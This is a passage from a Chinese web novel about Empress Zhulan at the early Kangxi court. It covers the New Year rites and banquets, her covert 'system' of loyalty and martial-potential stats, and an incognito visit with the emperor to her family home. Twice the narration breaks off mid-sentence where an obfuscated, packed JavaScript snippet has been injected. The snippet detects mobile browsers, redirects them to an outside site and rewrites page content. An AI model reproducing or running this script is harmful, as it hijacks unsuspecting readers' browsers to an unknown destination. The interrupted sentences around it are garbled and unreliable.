此刻太和殿的朝贺礼尚未结束,康亲王杰书身着亲王补服,五爪金龙补子在宫灯下泛着暗金光泽。作为礼亲王系的代表,他率领宗室诸王按辈分列于丹陛东侧。 当鸿胪寺官员唱赞“排班”时,他瞥见裕亲王福全的朝珠正微微晃动——这位随着皇帝亲政水涨船高,不仅直接封了亲王,还掌理藩院。他此刻正用余光扫视着朝鲜使臣的表文匣,是一副鞠躬尽瘁的任劳任怨模样。 安亲王岳乐站在杰书下首,作为改革派宗室,作为撤藩决策的坚定支持者,他甚至敢与皇帝最信任的葛布喇起争端。只有在真刀真枪对上户部要银子的时候,这位气势上又弱了下来,吵不过对方,颇为让皇帝头疼。 信郡王多尼在兵部,正用鹰眼般的目光检视着殿前侍卫的甲胄接缝——那是他亲自下令重铸的。 朝贺礼成后,康熙马不停蹄赶往奉先殿,檀香混着牲醴的气息扑面而来,十二列青玉祭器中,煮得酥烂的“太牢”还冒着热气。他将斟满关外烈酒的金爵缓缓倾倒,酒水渗入地砖缝隙。宗室们跟在其后,依次行礼。 与此同时,坤宁宫内热气蒸腾,珠兰手持银匙,亲自查验“福禄寿三星汤”的火候——鹿筋需煨足十二个时辰,鱼翅发制要精准到刻。 侧殿内,端敏格格也被安排协助准备家宴,她跟着宫女们学习如何摆放餐具,虽动作有些生疏,却学得十分认真。太后娘娘嘱咐了,让她对待皇后务必谦逊有礼,她却不想谄媚于人,便不愿去正殿,像其他命妇一样围着皇后恭维。 巳时,庄亲王博果铎捧着朱丝栏装订的《赋役全书》踏入乾清宫暖阁。 康熙正用放大镜查看漕运地图,他跪地将黄册呈上:“皇上,这是南漕改折的最新核算——每石米折银一两三钱,可省漕运损耗三成。”说着展开附页的算盘草纸,上面用朱砂标红的“苏松常三府”字样,正是江南赋税最重的区域。 顺承郡王勒尔锦在乾清宫南书房整理刑部秋审卷宗,将满汉宗室案件分册存放,准备向康熙奏报“宗室犯法同例”的司法进展。 未时,“转宴”仪式启动,康亲王杰书作为宗人府掌印,亲自监督御膳房呈送的“胙肉”。他用银刀在熟肉上划出十字花刀,刀刃深度精确到分——这是努尔哈赤时期定下的“示俭”古制。裕亲王福全负责进献“蒙古烤羊”,他特意选用科尔沁部进贡的羯羊。 暮色渐浓,乾清宫九十九盏羊角宫灯次第亮起,将穹顶的蟠龙藻井照得金碧辉煌。 康熙居中而坐,右手边太皇太后的杏黄朝褂上绣着九只栩栩如生的翔凤,左手边太后的霞帔坠着来自东海的明珠。 随着“转宴”令下,太监们托着漆盘鱼贯而入,每道菜必经皇后用银箸试毒后,才恭敬地呈给众人。 皇后需站在皇帝右侧,为太皇太后、太后布菜。三位庶妃侍立在旁,负责为太皇太后、太后更换茶盏。 其实宴席没什么好吃的,虽然今年都做了热锅,但也是蒸煮为主,没多少滋味。珠兰提前垫了点心,等待时,也给命妇们都上了点心热茶,得了不少感激。 太皇太后与太后的目光也多在皇帝身上,都觉得皇帝今日意气风发,竟是格外俊朗,果然人逢喜事精神爽,大过年的,皇帝也俊俏了。 玉宁今日不断用余光去瞅皇上,眼睛都快粘过去了,被萨琳拉了好几下。 诺敏则总跟着皇后娘娘,生怕娘娘举着筷子会累到似的,直让萨琳想翻白眼。 酒过三巡后,外命妇皆在戌时离宫,不参与后宫守岁。 更鼓敲过三更,众人移步丹陛,刹那间,烟花在夜空中竞相绽放,五彩斑斓的光芒照亮了每个人的脸庞。太皇太后指着绚烂的火树银花,对今日格外光彩照人的康熙低语:“当年与你皇阿玛看烟花,也这般。” 话音未落,钦天监官员捧着时宪书高呼:“吉时已到!” 午夜,康熙亲率宗室亲王、贝勒等至奉先殿,向列祖列宗牌位行三跪九叩礼。御膳房提前备好“胙肉”、年糕、饺子等祭品,由礼部官员按“左牲醴、右糕饵”的规矩陈列。 康熙亲手点燃檀香,宣读“辞岁祝文”,内容包括总结全年国事、祈求列祖保佑来年丰收,祝文宣读后焚烧于殿前燎炉,青烟升腾象征“上达天听”。 他想起,康熙元年时,鳌拜在奉先殿宣读祝文时,故意省略“黄河水患”相关内容,后被太皇太后斥责“欺君瞒祖”。今年,一切权力都回归天子之手,将来会越发好的。 远支宗室在完成祭祖后,在乾清宫东西庑殿休息,参与“守岁宴”,直至正月初一黎明。 皇后身着朝服,佩戴朝珠,率后宫嫔妃至坤宁宫行“辞岁礼”,祭拜萨满诸神,并向祖宗牌位上香,诵读祝词,献上奶茶、果品等祭品,祈求国祚绵长、皇室安康。 子时正一过,前往太皇太后、太后宫中“叩岁”,行三跪九叩大礼,恭贺新年。太皇太后与太后赐给皇后如意、金银锞子等年节赏物,象征“岁岁如意”。 再返回坤宁宫后,在东暖阁设“守岁小宴”,召集庶妃们共饮“屠苏酒”,食用“吉祥饽饽”,是一种素馅饺子,内藏铜钱、宝石等,喻示福气。 同时,向嫔妃、宫女、太监发放“压岁钱荷包”,荷包内装金银币或珠宝,荷包纹样多为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918100|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “岁岁平安”“福禄双全”等吉祥图案。 后宫众人务必以身作则遵守“燃灯守岁”“不寝至天明”的规矩,玩“抹骨牌”“掷骰子”等,但需保持端庄,不可嬉闹,属实没什么意思。 珠兰让众人在此地玩耍,她假托巡视各宫院门的羊角宫灯是否燃亮,便离开坤宁宫,自己回养心殿去了。 永寿宫中,塔娜和小狗玩了一天,她晓得姐姐忙,并不去填麻烦。 太皇太后那里通身漆黑如墨的京巴犬,就是四爪生着雪色毛团的那一只,生了一窝小狗,塔娜让宫女从猫狗房抱了一只回来养。正张罗着,给这小狗狗布置狗房、小床,喜欢极了。 珠兰这一路安排的都是忠诚数值足够高的人,不会有人晓得皇后是偷懒去了。 初一还有一番仪式呢,这仪式感未免也太强了,每年一回够受的。 她比不了皇帝精力旺盛,康熙在守岁期间仍会批阅紧急奏折,葛布喇等人都在南书房里候着,这大过年的也得加班。 葛布喇本担心皇帝尚且年少,这般熬着,身体会吃不消,但看皇帝面色红润,比前些日子还好,便将到嘴的话吞了回去。 回了养心殿,珠兰赶紧沐浴休息,闭目养神时,也在思索如何向皇帝回礼一事。 平白得了三副头面,都是珍贵之物。虽说太沉,但珠兰有办法,这些头面上的配饰是可以拆卸的,以后单着戴也行。 最重要的是一下午当娃娃,皇帝的亲密度涨了1点,别小瞧这一点,几个月陪餐、干活、给钱,都不带涨的。 为了让皇帝更有动力开展这类项目,珠兰也得给他更多理由。皇帝富有四海,寻常玉器绸缎不过是库房里多添个锦盒。 珠兰将一对儿内务府进上来的贡品鎏金镶玉的匕首放回匣子里,案头摊开的《皇朝礼器图式》正翻到“天子剑”那页,画中剑身的冰裂纹在烛光下似有微光流动。 小男孩,没有不喜欢利器的。 但,寻常贡物入不了皇上眼,她随手用银簪挑起书页,目光落在“百炼精钢”四字上,忽然想起在乾清宫曾见过汤若望呈上的西洋《奇器图说》——那本画册里的水力锻锤图。 起身推开雕花木窗,腊月寒风卷着雪沫扑在脸上,珠兰想要一柄举世无双的天子剑。 这个念头像火星溅上油皮纸,瞬间烧得思路通明:造办处没高炉、没焦炭、没精钢、没车床,要造这古今未见的绝世好·切金断玉·削铁如泥·剑就得从头折腾科技点。 这一套做出来,世界进程必然加速,我的能量结晶不就有了! 内务府的钱粮花销需要名目,可若说是为皇上铸剑,材料费、人工费不就名正言顺了! 珠兰的算盘珠子在心里打得飞快:高炉得找耐火土,焦炭得查京畿煤矿,水排鼓风得请顺天府巧匠,然后需要给传教士加点,让他们尽快想起更多西方已经出现的科技。 只要他们学过机械、动力、材料等课程的皮毛,系统就能用观察点激发他们的潜力,给他们长出科技树来。不过是多些后遗症罢了,让他们名流千古、流芳百世,他们会愿意的。 她望着窗外的灰瓦,想到传教士与工匠捧着西洋《奇器图说》抓耳挠腮的模样,嘴角忍不住上扬,科技点不就是这么来的。 这事儿,过了年就让索额图办去。 索额图:您家掌柜的,问我要炮筒子··· 36. 初一投资 初一,大朝、祭祀、家宴、请安、烟花。 仍然是一整套流程,溜达来溜达去,说笑逗趣,奉承,被奉承。 外命妇又入宫来,还是这些宗室福晋,另有一位端敏格格。 三位庶妃陪皇后待着,塔娜还是在永寿宫玩儿狗。皇帝和太皇太后都没想起塔娜回家过年的事儿,珠兰对此不甚在意,过年就是工作,在哪儿都一样。 今年,珠兰虽说是新妇,但她是皇后,且祖父为索尼,父亲是葛布喇,赫舍里的权势从未衰落,没有哪个福晋会给她脸色看的。便是宗室中辈分再大的,也不敢倚老卖老到皇后面前。连带着她的两位嫁入爱新觉罗的姑姑,地位都跟着水涨船高。 所以,她还能有点闲工夫,打开了系统面板,将这些女子的数据调出来阅看。 忠诚嘛,一般般,对她这个皇后都到不来60。 虽然大家都是大清的宗室,都对皇帝俯首帖耳,但不代表人家对皇后就有多少真敬畏。 珠兰想,日后有机会杀上几个爱新觉罗,这些人的忠诚度便会自己涨起来,不需要浪费观察点。 只有一个端敏格格,让珠兰有些扼腕,这位格格的武力值不高,只有二十,可她的习武潜力居然有86! 塔娜身边寿春如何,当初的习武潜力也就68,而今一身武艺都打破凡人极限了。 偏低的忠诚度,较低的亲密度,都不好刷。 珠兰有些日子不动这个脑子,谋算他人基本数值了。 自打有了皇后的身份,宫里的人随便她用,随着整顿内务府,那忠诚都自己往上飙。 慈宁宫暖阁飘着乳香,珠兰替太后整理着霞帔坠角,见太皇太后由宫女搀扶着去内间更衣,便状似无意地望向窗外——端敏格格正裹着狐裘立在廊下,指尖捏着根孔雀羽,逗弄着阶下雪地觅食的麻雀,镶金边的箭袖滑落半截,露出的手腕细得像弱柳。 “前日见端敏格格在御花园赏梅,”珠兰用银镊子拨了拨太后鬓边的珍珠花,声音放得极柔,“那身量倒有简亲王府的气派,只是......” 太后也想起那日,端敏站在梅树下,茜粉色棉袍被穿得像竹竿裹素绸。那身形比同龄格格高出大半个头,肩骨在衣料下硌出清瘦的棱角。她轻叩了下念珠,心疼起来,怎么自己就没看出孩子瘦了许多,“这孩子性子随她阿玛,犟得很。想来是在家也有不如意,又不与我说。” 珠兰见太后目光落在端敏细弱的手臂上,知道话头已入巷,“儿媳倒觉得她与我投缘,”她状似随意地抚平袖口的缠枝莲纹,“若太后不嫌弃,儿媳想留她在宫里住些时日。端敏格格只是太单薄些,臣妾娘家传过一套五禽易筋术,专调筋骨气血。” 太后将一串品相极好的三彩翡翠珠子挂到了珠兰手上,又绕了两圈,“你这孩子,总爱替人打算。”珠兰不曾与端敏有什么交情,却知道这是自己养女,太后晓得这丫头都是为了自己。 珠兰见太后眼角的笑纹深了些,知道这话里有默许的意思。 “这孩子打小挑食,”太后叹了口气,“等晚间,我便与额娘说,留端敏在宫中住一段日子。”若非珠兰点出端敏的瘦弱,太后等闲是不愿意向太皇太后开口求个什么的。 珠兰立刻接口:“那五禽易筋术不费力气,每日早上在暖阁里比划半个时辰就行。”她想起功法图谱里"熊经顾盼"的动作,专治脾胃虚弱,又想起端敏那只有20的武力值,指尖忍不住摩挲起腕上的翡翠珠子,“待调理得气血足了,便一同骑射才好。”日久天长,总能把亲密值刷起来。 廊外的端敏忽然打了个喷嚏,震得枝头积雪簌簌落下。珠兰望着她裹紧棉袍的动作,嘴角勾起不易察觉的笑——这副高而瘦弱的骨架,倒像是块未经雕琢的精铁,只消细细锻造,那86的习武潜力,总能挖掘出来大半。 爱新觉罗家的格格,将来必然要指婚草原。 这位端敏格格,若是有了领军之力,将来操作的好,撬动草原之势向西向北,定然能赚来不少能量结晶。 其余外命妇中,则没有数值特别突出的。 自己的两个姑姑,皆未生育子女,皆温柔沉默,皆见了珠兰也不说什么。大赫舍里氏在顺治十三年嫁给豫通亲王多铎的第四子贝勒察尼,为继福晋。小赫舍里氏在顺治十七年嫁给嫁与安亲王岳乐,为三继福晋。这俩家都是多子女多侧福晋家庭,嫡福晋就够难做,更何况是继福晋。 她们不多话,珠兰便也不多说,赏赐却要丰厚几分。 祖母佟佳氏作为近臣之妻也于今日入宫,拜见太皇太后、太后、皇后,她不曾有机会与珠兰单独相处,中午领了宴便又出宫了。母亲身体不适,仍是告病。 对于珠兰不曾过于亲近母家之事,太皇太后表示满意,专门派苏麻喇姑前来表扬了珠兰懂礼。并告知珠兰,端敏格格留宿寿康宫。 珠兰听闻端敏格格不曾带侍女入宫,且在宫中惯用的宫女已多半放出,便将身边的秋冬二女官暂时送至寿康宫,另从内务府拨付宫女六名,太监四名,补足和硕公主份例,供端敏格格差遣使用。 春苒、夏苼、秋葹、冬萧四名女官,本是乾清宫出来的,各有其所长。 春苒与梁九功是同乡,嘴皮子利索,做事也爽利,日常也是她负责在两边传递消息。 夏苼则是极为擅长妆画、衣服、饰品之事,虽然珠兰不怎么用,但也少不了她,茉莉香便是她专门调配的。 秋葹则会的很全,一切皇室大宫女该有的技能,她都有,而且体贴沉默,情绪稳定,适合跟随刚强执拗的主子。 冬萧是在家就学过,通诗书数算,思维敏捷,察言观色,会预判情绪动向,是康熙喜欢的那一款儿。春苒就一直念叨,说冬萧这样的人才,她会从乾清宫出来,定是被排挤了。 但也可能是她本人志不在此,毕竟,珠兰从系统里就看到,这个姑娘心中有成算。 最关键是两人的武学潜力都在60以上,比一般人要高出一半了。珠兰已经在她们对自己的忠诚达到90,超过对皇帝的忠心后,就教过她们五禽易筋术的基础,系统循序加点后,她们在武学一道中一通百通,只等着到了日子收获两名大内高手就行了。 珠兰虽然很懒,还是结合其他世界的经验,模拟了几套凡人武学丢给系统研究了。武力值,很重要。咱可以不用,不能没有。五禽易筋术便是最终收获的成果之一,适合女子所用。 为了找个出处,她还特意用到赫舍里氏藏书中的一本作为掩护。 塔娜的四个大丫头,就是在系统加点后,又这么练出来的。 现在,意外发现了端敏格格,珠兰有了新的想法。 元旦家宴,例于乾清宫设席,吉时定在酉初一刻。 太皇太后面南而坐,居于宴桌北侧正中。太后位于太皇太后左侧,面西而坐。皇帝,位于太皇太后右侧,面东而坐,与太后相对,皇后位于皇帝下首。 这一家子,我好像是多余的那个,罢了,有个座就行了。珠兰其实不想在这里,是真累人,这些膳食也没几个人动,是真浪费。 亲王、郡王等宗室男性按“辈分+爵位”排序,如皇帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15922087|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲兄弟居前,远支郡王居后;福晋随夫就座,在殿内西侧。 皇帝用金錾花云龙纹餐具,太皇太后、太后、皇后用玉嵌金餐具,宗室按等级用银、珐琅或瓷器。 酱肉、熏鱼、蜜饯等开胃菜,用雕漆食盒盛放,由太监托举,按“从太皇太后、太后、皇帝、皇后到宗室”的顺序依次上餐;每道菜需由试菜太监先尝(银簪试毒),再由御厨“唱菜名”(如“御制八宝鸭——呈上来——”),皇帝首尝后,宗室方可动筷;最后上“龙凤呈祥汤”(鸡汤炖鸽蛋)和“子孙饽饽”(饺子,内包铜钱、花生等,吃到铜钱者获赏)。 仅热菜就有60道,上菜太监达30人,耗时1小时才上完,御厨奔走汗流,至殿外换衣两次。 南府戏班表演祥瑞剧目,如《天官赐福》(神仙赐禄)、《长生殿密誓》(祈福爱情),皇帝看戏时,宗室需“正坐凝视”,不得交头接耳。顺治朝曾有贝勒因看戏轻笑,被革去爵位。 传教士领着西洋技师献“铜人献寿”,铜铁做的人持寿桃行三跪九叩礼,众人称奇。 珠兰点了点头,刚说要给传教士加点攀科技树,他们就送上门来了,这个懂机械的技师,也是当初葛布喇从鳌拜一党手里救下的,忠诚很高,珠兰当场就给他加了【机械精通】的点。 皇帝离席时,奏《中和韶乐》,宗室行“跪送礼”(跪地目送),太皇太后、太后、皇后由宫女搀扶从侧门退场。太监“撤膳”时,宗室需保持跪姿,直至皇帝走远,方可起身。 皇帝至钦安殿祈福,太皇太后在慈宁宫与珠兰等人“斗草”。 太皇太后倚着铺着狐裘的紫檀榻,指尖捻着朵烘干的西番莲,琉璃盆里养着各色冬草。 太后带着端敏格格,珠兰领着诺敏、萨琳、玉宁等人陪着,又有苏麻喇姑专门去把留宫不曾归家的赫舍里家格格塔娜带了来玩。 太皇太后忽然将西番莲往案上一放:“哀家这花来自岭南,去年贡使说此花能开三季。” 珠兰立刻举起手中的墨兰,花瓣上还沾着坤宁宫暖房的水汽,“孙媳这株是福建巡抚进的''墨麒麟'',传说宋慈安太后曾用此花题诗。" 诺敏格格抢着展开帕子,里面裹着株枯藤:“这是臣妾在御花园梅树下寻的''长春藤'',老太监说世祖年间就有了。” 端敏格格攥着帕子的手指发白,帕角露出的狗尾草在众人珍奇花草间格外扎眼。 塔娜忽然轻笑出声,从袖中抖出束带露珠的草茎:“咱们管这叫''长生草'',牛羊吃了过冬不掉瞟。”她指尖捻着草叶旋转,银镯子撞出清响。 太皇太后瞧这草茎的纹路,“倒像咱们草原的勒勒车轮。” 玉宁格格连忙举起珊瑚盆里的水仙:“这花腊月廿八才开,花匠说用太皇太后赐的暖玉煨着根。” 太皇太后忽然指着端敏的狗尾草:“这草倒让哀家想起早年打猎时,用狗尾草编过兔笼。” 端敏猛地抬头,见太皇太后朝她招手,慌忙膝行上前,狐裘领口散开露出纤细脖颈。 珠兰趁机将自己的墨兰与端敏的狗尾草并置:“皇祖母您看,这墨兰的紫筋倒和狗尾草的穗子相映成趣。”她指尖在两株草间划过,将狗尾草摆成"八"字形,“倒像是个''吉''字呢。” 太皇太后笑道:“皇后这巧思,倒该让造办处打个草纹镯子。” 端敏攥紧帕子的手忽然松开,狗尾草穗子扫过珠兰的石青裙摆。 当更鼓敲过二通,太皇太后命人将所有花草收进鎏金匣时,珠兰瞥见端敏偷偷将那株狗尾草夹进了袖中。 37. 皇后归宁 初二,皇后、妃嫔若娘家在京,可获特许回府省亲,但需在日落前回宫。 但这一条基本是废的,因从未有过后妃归宁一说。 珠兰倒是对归宁没什么念想,赫舍里全族的数据都在系统里。 有葛布喇在宫外作为锚点,她可以随时针对京中任何一个族人甚至是仆役进行干涉,只是目前有资格进入她眼帘的族人不多。 内务府在手,向外传递信息也不需要寿春几个夜犯宫禁、来去自由了。 令人意外的是,皇帝祭祀回来,直入养心殿,居然劈头盖脸上来就问,“梓童可想归宁。” 彼时,珠兰正用银簪拨弄着算盘上的乌木珠子,盘算着开年以后给内务府衙门派活计,听说皇帝已经寻到了治水干将,年后便要出发。这等千秋万载的大事,若是不多掺和掺和,能量结晶到手就该少了。 忽然听见殿门帘环轻响——康熙带着一身祭天的柏叶香闯进来,明黄朝服下摆还沾着雪粒子。 算盘最末一档的珠子簌簌滑落,珠兰望着皇帝眼中不寻常的亮芒,她将银簪搁下,垂眸抚平袖口的缠枝莲纹,起身行礼。 皇帝扶住珠兰,急急问道:“梓童可还记得赫舍里府的石榴树?” 我也不能说我不记得啊,珠兰只好颔首微笑。怎么又有石榴的事儿,这也不是个季节。 康熙忽然解下明黄腰带扔给太监:“换常服。” 这么雷厉风行啊?珠兰正想着要掺和一脚治河之事,让翻云会动一动,预备等内务府上班给寿春传消息,这倒是能回家直接说了。 宫人捧来石青锦袍,他亲自为珠兰系上藕荷色披风,指尖擦过她耳垂时压低声音,“朕听说你父亲新得了块和田玉,去瞧上一瞧。” 想去就去,一堆理由,又花又玉的··· 一辆青布帷幔的骡车碾过神武门积雪,车轱辘吱呀声混着赶车老把式梁九功的吆喝。 俩人谁都没想起来,永寿宫里还有赫舍里家的二格格呢。 塔娜:小狗真可爱,咱们带头花。 车辕两侧的铜铃铛随着颠簸轻响,珠兰掀开帷幔一角,却瞥见街角茶肆柱子后闪过索额图的藏青色披风——他正用眼神示意最后边的两名亲兵抄近道。 数个护军已抢先骡车半条街,其中一个护军正飞速接近赫舍里府大门。 康熙似有所觉,伸手将她鬓边发丝别到耳后,指尖擦过耳垂时低声道:“索额图早遣人骑快马报信了,原是要给岳父个惊喜。” 珠兰低头,“三叔也是职责所在罢了。”连岳父都叫上了,皇帝去赫舍里府总不是陪她回门这么简单。目前也就三藩、河工、漕运三件大事,有让皇帝走一遭的必要性。 康熙哼了一声,“也就你有这么大的胆子,敢指派朕的御前侍卫。”皇帝敢白龙鱼服,侍卫处可不敢丝毫怠慢。只是今日当值的,恰好是索额图。 珠兰微笑,“妾领着内务府,也是职责所在罢了。”叫索额图派人回府报信,确实是她安排的不假,这点不算僭越,当是正合皇帝心意。 若是到了赫舍里府上,想见的人躲了,可怎么办。 这般提前告诉了,便是出门了也得回来。 “你不说我倒是忘了,索额图还兼着内务府的差事。”康熙仿佛刚想起来,笑着与珠兰逗起闷子来,“不如叫他卸了这差事,专心做侍卫。” “那他可得谢谢您,叫他少得罪点人了。”珠兰拿帕子捂着嘴,笑的肩膀不断耸动。 康熙见珠兰如此作答,居然叫自己没了话,只好摸着鼻子也往车外看。内务府的差事是肥差,可皇后去了以后,没叫赫舍里占便宜,光得罪人了。这便是忠心了! 此刻,他言语上虽然吃了瘪,心中却是甜蜜的。皇帝能想象的夫妻相处的极限,也就到这一步了。 见街对面茶肆里有个茶客握着茶碗的手势格外标准——虎口正对碗沿,那是御前侍卫练过的握刀姿势。再看车辕旁蹭过的挑夫,扁担两头的水桶晃得毫无水花,显然是常年负重练出的稳劲。康熙轻笑:“索额图倒会挑人。” 话音未落,前方巷口卖水的脚夫突然换了肩,扁担在肩头磕出三声响——这是侍卫处的暗码,三响代表“安全”。 珠兰望向赫舍里府方向,见影壁下的石狮子旁,本该蹲着晒太阳的老仆竟换成了个年轻伙计,腰间系的围裙下隐隐露出箭袖滚边。 赫舍里府的黑油漆门轴发出“吱呀”声,葛布喇穿着簇新的宝蓝色马褂冲出来,膝盖刚要弯就被康熙按住:“不必多礼。” 珠兰见这对早上还见面的君臣,仿若久别重逢,执手相看,情意绵绵,就差抱头痛哭了,居然有一瞬间的无语。 听见隔壁胡同传来轻微的马蹄声,料想是索额图亲自带了人在周边巡弋,却故意绕开主街,只让几个穿常服的亲兵散在茶肆、布庄里,装作闲聊的街坊。那些人腰间没佩刀,袖口却都缝着便于抽刀的活线,靴底还沾着与宫墙同色的红土。 大门开合,康熙与珠兰刚踏过门槛,就见门内光影里黑压压跪了一片,领头的索尼穿着石青色蟒袍,三眼花翎垂在雪地里,帽檐上的红缨子冻成了冰柱。 康熙与索尼自然是一番君臣相得,葛布喇后头陪笑。皇上如何就来了,他也不晓得,全当是走亲戚来了。等开了班,佟国纲那小子又该酸了。 珠兰扶起祖母与母亲,又向三婶微微颔首。这三位也巧了,都是佟佳氏。母亲一脸病容,被三婶全程搀扶着,仍是出了一身虚汗。 慈宁宫 鎏金熏笼煨着银丝炭,太皇太后将茶碗往紫檀炕几上一搁,釉面映出她鬓边东珠簪子的颤影。 夏笙垂手而立,素色比甲上还沾着雪粒子。 皇帝胡闹,皇后也跟着疯?赫舍里府的门槛是用金砖铺的?也值得当白龙鱼服出去逛! 太后见太皇太后脸色不好,连忙打圆场,“母后息怒,许是皇上念着皇后未归宁......” 话未说完,就见太皇太后面色转霁。母后,最近这般喜怒不定? 归宁? 太皇太后听闻帝后微服前往赫舍里府时原有些动气,只觉皇帝行事孟浪,皇后亦未加规劝。但旋即被政治敏锐性攫住心神——这绝非单纯的皇后归宁之举,其中必有朝堂事务的深层考量。 念及此节,她忽而体谅起珠兰的处境:定是皇帝临时起意拉来作幌子,仓促之间仍不忘遣人向自己这老祖母通禀内情,这份周全实属难得。 前朝有葛布喇忠心耿耿,后宫有珠兰周全,她这老太太本不该再操心了。 暖阁里的鎏金熏笼静静散着热气,老祖宗望着窗棂上凝结的冰花,将初时的愠怒渐次化作对后辈体谅,那点嗔怪终究融在宫墙深院的沉沉热意里。 “珠兰这孩子,”太皇太后忽然转了话头,“倒是懂得轻重。” 太后见状,虽然不知母后的意思,也不晓得是发生了什么,她只是喜欢珠兰,觉得她做什么都好。便笑道:“前儿端敏还说,珠兰派来的女官,教了套能活血的法子。” 太皇太后听闻,来了兴趣,叫传端敏格格。 苏麻喇姑见此,便向夏笙招手,带了她出去,让她回去便是。 见夏笙点头行礼,一丝不苟的模样,苏麻喇姑也暗叹不愧是乾清宫出来,又在养心殿站稳脚跟的女官,沉得住气。一般宫女来此,见了太皇太后发怒,都要腿软。 内间帘栊轻响,端敏格格扶着宫女走进来,月白氅衣下竟没穿棉袄。“给皇祖母、母后请安。”她是太后养女,如此称呼本是正常。 她福身时,鬓边银箔花随着动作轻颤,太皇太后眯眼瞧她脸色,“听说你近来不咳了?” 怎么连棉衣都没穿,太后嗔怪,拉过端敏的手,却发现这孩子手是温热的。 “是主子娘娘身边女官新教的灵鹊振羽式,起了作用。”端敏被太后拉着手,脸微微发红,轻声回道。 太皇太后闻言来了兴致,叫端敏演练看看。 端敏便退到暖阁中央,素手提起裙幅旋身演练,竟如檐下之燕雀般轻盈。 太皇太后数着她转了九圈,抬手抬脚,做了十八个动作,轻盈利索,招式居然十分有力。她出声止住:“这式倒像五禽戏的变种?” “皇后娘娘说取了鹊鸟振翅的巧劲,”端敏喘息着抚上心口,那里正有力地跳动,“每日卯时练三回,寒气就顺着指缝散了。”虽然娘娘不曾与她说什么贴心体己话,可对她实在不薄。不止送了女官宫女来,还特意送了这套功法,解了她的体寒体弱之苦。 珠兰是看着端敏的亲密度一路走高的,每次端敏的数值有变动,她就传话秋冬二女官,新教端敏三招。一日,就传了十八招。 也是端敏天赋异禀,才马上就有了效果。普通人不以年为单位练习,是达不到端敏这个程度的。 宫外的四春与宫内的秋冬二人也算有天赋了,但还是在珠兰灌注了观察点后,才能顺利入门,远没有端敏这般顺利。 二人只是带着端敏格格练习了一遍,人家就学会了,而且效果十分明显,这就是天赋,羡慕不来。 太皇太后望着她泛出红晕的脸颊,对太后笑道:“不如嘱咐珠兰把这五禽易筋术的功法册子抄二十份,给近支宗室都送去。咱们老太太能不能练,若是不行,就让小辈阿哥格格们都练习上才好。” 太后一愣,她是真没想这一茬。“这是赫舍里家的不传之秘,咱们就给做主···是不是不好。”拿孩子的东西去做人情,她可张不开嘴说啊。 太皇太后见儿媳一如既往不开窍,摇了摇头,“你只管传话便是,珠兰自然晓得我的意思。” 孩子既然拿出来给端敏用上了,就没有对着爱新觉罗保密的意思。年前整顿内务府,实际伤了脸面的还有宗室,毕竟上三旗包衣之中有不少求到他们门上的,只是没管用。 从太皇太后处出来,太后与端敏格格一起犯了愁。 俩人不亏是母女,想法都一样直线。 端敏格格觉得是因为自己有了炫耀之心,才给皇后惹了麻烦,心生愧疚之下,对珠兰的亲密度一路走高,居然就突破了60。 赫舍里府 正厅暖炉煨着银丝炭,康熙与索尼分坐在红酸枝雕花椅上,茶碗腾起的热气在两人之间织成薄雾。 索尼捋着斑白胡须听皇帝笑谈江南漕运,转而将茶碗往前推了推,釉面映出康熙指尖轻叩桌面的节奏。“记得顺治八年那会儿,”他忽然转了话头,“那位想把永平府的田全圈了,结果呢?” 康熙端茶的动作顿了顿,茶盖在碗沿划出半圈涟漪。 葛布喇正往铜鹤香炉添香,闻言手一抖,香灰撒在炭火星上腾起白烟——这典故他听父亲讲过不下十回,当年多尔衮急功近利圈地,反逼得汉民起义,最后还是太后出面周旋才压下事端。 “索大人是想说急不得?”康熙忽然笑了,指节敲了敲椅把上的云纹雕饰,“如今不比多尔衮那时,黄河堤工的银钱早备齐了。” 索尼眉头一跳,是呢,抄家皇后搞来的钱。您老人家是真好意思说啊,我都不想听。 珠兰眼角余光瞥见父亲与皇帝交换了个眼神:葛布喇眼皮微抬,皇帝嘴角笑意更深,分明是在说“又来这套老生常谈”。抽空看了眼系统面板,咿呀,端敏的数值涨的真快! 索尼这样的老人,察言观色已经退出他的世界有些日子了,他自顾自絮叨着。便如同他所言一般,朝中大部分老人是不赞同皇帝同时治河又治漕又增兵的。 钱是一方面,权是另一方面。 康熙的指尖在膝头敲了三下,这是他不耐烦时的习惯动作,而葛布喇恰好端起茶壶续水,壶嘴碰着杯沿发出轻响,巧妙盖过了那串节奏。 葛布喇见索尼捻着胡须又要开口说顺治朝旧事,慌忙抢在前面掀起茶碗盖,热气氤氲中故意让碗沿磕出脆响,“阿玛前儿还念叨柯尔坤从吕宋寄来的胡椒呢。” 索尼捻须的手顿在半空,康熙闻言果然转头望来,“赫舍里家还有人下南洋?” “是去西洋的路上,路过南洋,四弟说在吕宋看见红毛夷人的火轮船,烟囱里冒的烟能把云彩染灰。”他眼角余光瞥见康熙指尖轻叩桌面,知道这话题比黄河堤工更安全,便又凑近半步,“五弟心裕更稀奇,跟着南怀仁神父学算西洋历法,昨儿还画了张月亮上的山。” 珠兰听见火轮船之言,其实应该是叫汽轮船。 